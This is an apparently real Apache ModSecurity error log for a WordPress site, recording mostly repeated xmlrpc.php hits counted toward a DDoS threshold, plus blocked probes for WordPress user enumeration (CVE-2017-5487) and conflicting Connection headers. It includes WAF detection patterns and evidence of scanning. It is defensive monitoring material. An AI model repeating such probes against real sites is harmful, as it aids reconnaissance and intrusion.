[Sun Apr 12 12:15:53.943702 2026] [:error] [pid 60280:tid 60289] [client 34.67.6.8:40234] [client 34.67.6.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.67.6.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsceXBlLnDOYuIykkimaQAAAcc"]
[Sun Apr 12 12:31:16.828646 2026] [:error] [pid 25437:tid 25447] [client 52.206.118.176:40148] [client 52.206.118.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.206.118.176, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsgFHf97wYZje1ep_PMngAAAMg"]
[Sun Apr 12 12:35:53.493771 2026] [:error] [pid 26599:tid 26615] [client 77.68.115.185:45030] [client 77.68.115.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.68.115.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adshKXG89LXoQbk_rwCZNAAAAU0"]
[Sun Apr 12 12:38:05.861693 2026] [:error] [pid 60280:tid 60288] [client 89.163.159.173:50352] [client 89.163.159.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.163.159.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adshrXBlLnDOYuIykkixDQAAAcY"]
[Sun Apr 12 12:38:27.271534 2026] [:error] [pid 26600:tid 26632] [client 107.172.62.48:51834] [client 107.172.62.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.172.62.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adshw-1YwAZiXhQKLYregAAAAYM"]
[Sun Apr 12 12:39:40.969403 2026] [:error] [pid 25328:tid 25391] [client 35.226.125.165:57970] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsiDMxUaQZxT-e0YsCMSwAAAFE"]
[Sun Apr 12 12:39:52.558862 2026] [:error] [pid 60280:tid 60303] [client 82.66.189.231:54784] [client 82.66.189.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.66.189.231, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsiGHBlLnDOYuIykkix9gAAAdU"]
[Sun Apr 12 12:41:21.258405 2026] [:error] [pid 26599:tid 26618] [client 59.125.102.142:52142] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsicXG89LXoQbk_rwCZ7gAAAVA"]
[Sun Apr 12 12:44:20.727615 2026] [:error] [pid 60280:tid 60295] [client 180.181.244.244:44874] [client 180.181.244.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.181.244.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsjJHBlLnDOYuIykkizvAAAAc0"]
[Sun Apr 12 12:47:39.189476 2026] [:error] [pid 25327:tid 25337] [client 34.140.181.23:31160] [client 34.140.181.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.181.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsj6y6h2tZEVJo9JFKYqwAAAAE"]
[Sun Apr 12 12:49:32.015224 2026] [:error] [pid 60280:tid 60306] [client 82.223.68.239:51012] [client 82.223.68.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.68.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adskXHBlLnDOYuIykki13gAAAdg"]
[Sun Apr 12 12:49:53.501136 2026] [:error] [pid 25328:tid 25387] [client 34.101.217.251:42950] [client 34.101.217.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.101.217.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adskccxUaQZxT-e0YsCPtgAAAE8"]
[Sun Apr 12 12:51:05.883366 2026] [:error] [pid 25437:tid 25440] [client 146.59.70.139:46406] [client 146.59.70.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.70.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adskuXf97wYZje1ep_PQ5wAAAME"]
[Sun Apr 12 13:06:38.682538 2026] [:error] [pid 26600:tid 26629] [client 104.208.160.135:51760] [client 104.208.160.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.208.160.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsoXu1YwAZiXhQKLYrkKAAAAYA"]
[Sun Apr 12 13:10:38.533245 2026] [:error] [pid 26600:tid 26642] [client 144.91.66.223:40894] [client 144.91.66.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.66.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adspTu1YwAZiXhQKLYrlJAAAAY0"]
[Sun Apr 12 13:13:36.076776 2026] [:error] [pid 25327:tid 25343] [client 173.249.55.89:52788] [client 173.249.55.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.55.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsqAC6h2tZEVJo9JFKcPQAAAAc"]
[Sun Apr 12 13:15:15.830479 2026] [:error] [pid 25328:tid 25389] [client 185.23.117.167:55828] [client 185.23.117.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.23.117.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsqY8xUaQZxT-e0YsCYrwAAAFA"]
[Sun Apr 12 13:19:29.111955 2026] [:error] [pid 60280:tid 60286] [client 157.245.6.105:38980] [client 157.245.6.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.6.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsrYXBlLnDOYuIykkjE-QAAAcQ"]
[Sun Apr 12 13:25:58.838806 2026] [:error] [pid 26600:tid 26649] [client 147.93.131.179:58788] [client 147.93.131.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.93.131.179, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adss5u1YwAZiXhQKLYroxAAAAZQ"]
[Sun Apr 12 13:29:42.764736 2026] [:error] [pid 60280:tid 60289] [client 147.182.243.3:49606] [client 147.182.243.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.243.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adstxnBlLnDOYuIykkjKMQAAAcc"]
[Sun Apr 12 13:37:15.476716 2026] [:error] [pid 25329:tid 25415] [client 34.34.78.57:57276] [client 34.34.78.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.34.78.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsvi2dcIYsS8Iyaj12F3QAAAJg"]
[Sun Apr 12 13:40:34.551579 2026] [:error] [pid 25328:tid 25368] [client 63.131.146.5:52078] [client 63.131.146.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 63.131.146.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adswUsxUaQZxT-e0YsCi1AAAAEQ"]
[Sun Apr 12 13:40:44.258865 2026] [:error] [pid 60280:tid 60304] [client 217.154.192.21:49802] [client 217.154.192.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.192.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adswXHBlLnDOYuIykkjPTAAAAdY"]
[Sun Apr 12 13:44:59.559152 2026] [:error] [pid 25328:tid 25370] [client 164.132.207.73:48702] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsxW8xUaQZxT-e0YsCkUQAAAEY"]
[Sun Apr 12 14:02:37.160371 2026] [:error] [pid 60280:tid 60301] [client 159.89.91.236:35948] [client 159.89.91.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.91.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads1fXBlLnDOYuIykkjZ7AAAAdM"]
[Sun Apr 12 14:03:34.219535 2026] [:error] [pid 25328:tid 25405] [client 146.59.232.195:44738] [client 146.59.232.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.232.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads1tsxUaQZxT-e0YsCq6gAAAFc"]
[Sun Apr 12 14:06:32.319628 2026] [:error] [pid 25327:tid 25360] [client 49.43.161.193:54259] [client 49.43.161.193] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ads2aC6h2tZEVJo9JFKkowAAABg"]
[Sun Apr 12 14:07:09.999090 2026] [:error] [pid 25437:tid 25451] [client 137.74.43.174:56824] [client 137.74.43.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.74.43.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads2jXf97wYZje1ep_PnOQAAAMw"]
[Sun Apr 12 14:07:52.955526 2026] [:error] [pid 26567:tid 26571] [client 66.226.77.248:45444] [client 66.226.77.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.226.77.248, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads2uHhRpg6ptWFyFx1xYwAAAQI"]
[Sun Apr 12 14:07:58.791397 2026] [:error] [pid 25327:tid 25340] [client 49.43.161.193:56047] [client 49.43.161.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.161.193, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads2vi6h2tZEVJo9JFKkxQAAAAQ"]
[Sun Apr 12 14:09:21.658747 2026] [:error] [pid 25328:tid 25367] [client 49.43.161.193:64463] [client 49.43.161.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.161.193, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads3EcxUaQZxT-e0YsCs6QAAAEM"]
[Sun Apr 12 14:10:40.772290 2026] [:error] [pid 60280:tid 60298] [client 49.43.161.193:15445] [client 49.43.161.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.161.193, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads3YHBlLnDOYuIykkjdtgAAAdA"]
[Sun Apr 12 14:15:40.378161 2026] [:error] [pid 26567:tid 26574] [client 45.32.194.177:39198] [client 45.32.194.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.32.194.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads4jHhRpg6ptWFyFx1y4QAAAQU"]
[Sun Apr 12 14:16:48.392730 2026] [:error] [pid 25328:tid 25391] [client 49.43.161.193:55390] [client 49.43.161.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.161.193, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads40MxUaQZxT-e0YsCxAgAAAFE"]
[Sun Apr 12 14:17:43.961278 2026] [:error] [pid 25329:tid 25381] [client 5.196.202.32:38154] [client 5.196.202.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.196.202.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads5B2dcIYsS8Iyaj12KXwAAAIM"]
[Sun Apr 12 14:22:00.559979 2026] [:error] [pid 25328:tid 25385] [client 76.13.78.252:50750] [client 76.13.78.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 76.13.78.252, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads6CMxUaQZxT-e0YsC0NwAAAE4"]
[Sun Apr 12 14:23:55.726450 2026] [:error] [pid 26599:tid 26608] [client 5.9.109.189:39956] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads6e3G89LXoQbk_rwCmLwAAAUY"]
[Sun Apr 12 14:26:28.561059 2026] [:error] [pid 26600:tid 26629] [client 178.62.32.109:54486] [client 178.62.32.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.32.109, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads7FO1YwAZiXhQKLYr2fwAAAYA"]
[Sun Apr 12 14:27:16.828106 2026] [:error] [pid 25329:tid 25415] [client 83.166.155.159:43908] [client 83.166.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.155.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads7RGdcIYsS8Iyaj12L5wAAAJg"]
[Sun Apr 12 14:36:44.651915 2026] [:error] [pid 25328:tid 25367] [client 157.230.98.69:54076] [client 157.230.98.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.98.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads9fMxUaQZxT-e0YsC7HwAAAEM"]
[Sun Apr 12 14:38:00.287906 2026] [:error] [pid 26567:tid 26572] [client 185.115.179.201:36312] [client 185.115.179.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.115.179.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads9yHhRpg6ptWFyFx14dAAAAQM"]
[Sun Apr 12 14:38:11.275043 2026] [:error] [pid 26567:tid 26580] [client 90.156.142.31:43834] [client 90.156.142.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 90.156.142.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ads903hRpg6ptWFyFx14fAAAAQs"]
[Sun Apr 12 15:01:14.217286 2026] [:error] [pid 25437:tid 25449] [client 103.110.84.178:41284] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtDOnf97wYZje1ep_P6OwAAAMo"]
[Sun Apr 12 15:02:54.020590 2026] [:error] [pid 25328:tid 25369] [client 5.196.202.32:47310] [client 5.196.202.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.196.202.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtDnsxUaQZxT-e0YsDFTQAAAEU"]
[Sun Apr 12 15:04:09.349591 2026] [:error] [pid 25328:tid 25401] [client 51.75.54.138:57688] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.54.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtD6cxUaQZxT-e0YsDFmAAAAFU"]
[Sun Apr 12 15:04:15.519500 2026] [:error] [pid 60280:tid 60288] [client 82.223.68.239:51234] [client 82.223.68.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.68.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtD73BlLnDOYuIykkj-ewAAAcY"]
[Sun Apr 12 15:22:23.407414 2026] [:error] [pid 26599:tid 26611] [client 49.51.166.228:35052] [client 49.51.166.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adtIL3G89LXoQbk_rwCsJwAAAUk"]
[Sun Apr 12 15:34:35.598878 2026] [:error] [pid 25437:tid 25445] [client 178.33.162.49:49492] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.162.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtLC3f97wYZje1ep_P_1AAAAMY"]
[Sun Apr 12 15:46:17.066530 2026] [:error] [pid 60280:tid 60299] [client 68.183.13.1:40314] [client 68.183.13.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.13.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtNyXBlLnDOYuIykkgNzgAAAdE"]
[Sun Apr 12 15:48:51.333774 2026] [:error] [pid 26600:tid 26648] [client 102.91.4.79:22496] [client 102.91.4.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.91.4.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtOY-1YwAZiXhQKLYoGGQAAAZM"]
[Sun Apr 12 15:49:02.200778 2026] [:error] [pid 26567:tid 26590] [client 102.91.4.79:22481] [client 102.91.4.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.91.4.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtObnhRpg6ptWFyFx2B5gAAARU"]
[Sun Apr 12 15:49:12.845994 2026] [:error] [pid 25327:tid 25344] [client 197.210.70.27:39619] [client 197.210.70.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.210.70.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtOeC6h2tZEVJo9JFKywQAAAAg"]
[Sun Apr 12 15:49:23.576888 2026] [:error] [pid 25328:tid 25369] [client 197.210.70.27:39666] [client 197.210.70.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.210.70.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtOg8xUaQZxT-e0YsDRzwAAAEU"]
[Sun Apr 12 15:49:34.433209 2026] [:error] [pid 60280:tid 60285] [client 102.91.5.34:5968] [client 102.91.5.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.91.5.34, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtOjnBlLnDOYuIykkgPRgAAAcM"]
[Sun Apr 12 15:49:45.072269 2026] [:error] [pid 25328:tid 25389] [client 102.91.5.154:13324] [client 102.91.5.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.91.5.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtOmcxUaQZxT-e0YsDSDAAAAFA"]
[Sun Apr 12 15:49:55.790002 2026] [:error] [pid 25328:tid 25366] [client 197.210.71.223:58906] [client 197.210.71.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.210.71.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtOo8xUaQZxT-e0YsDSGQAAAEI"]
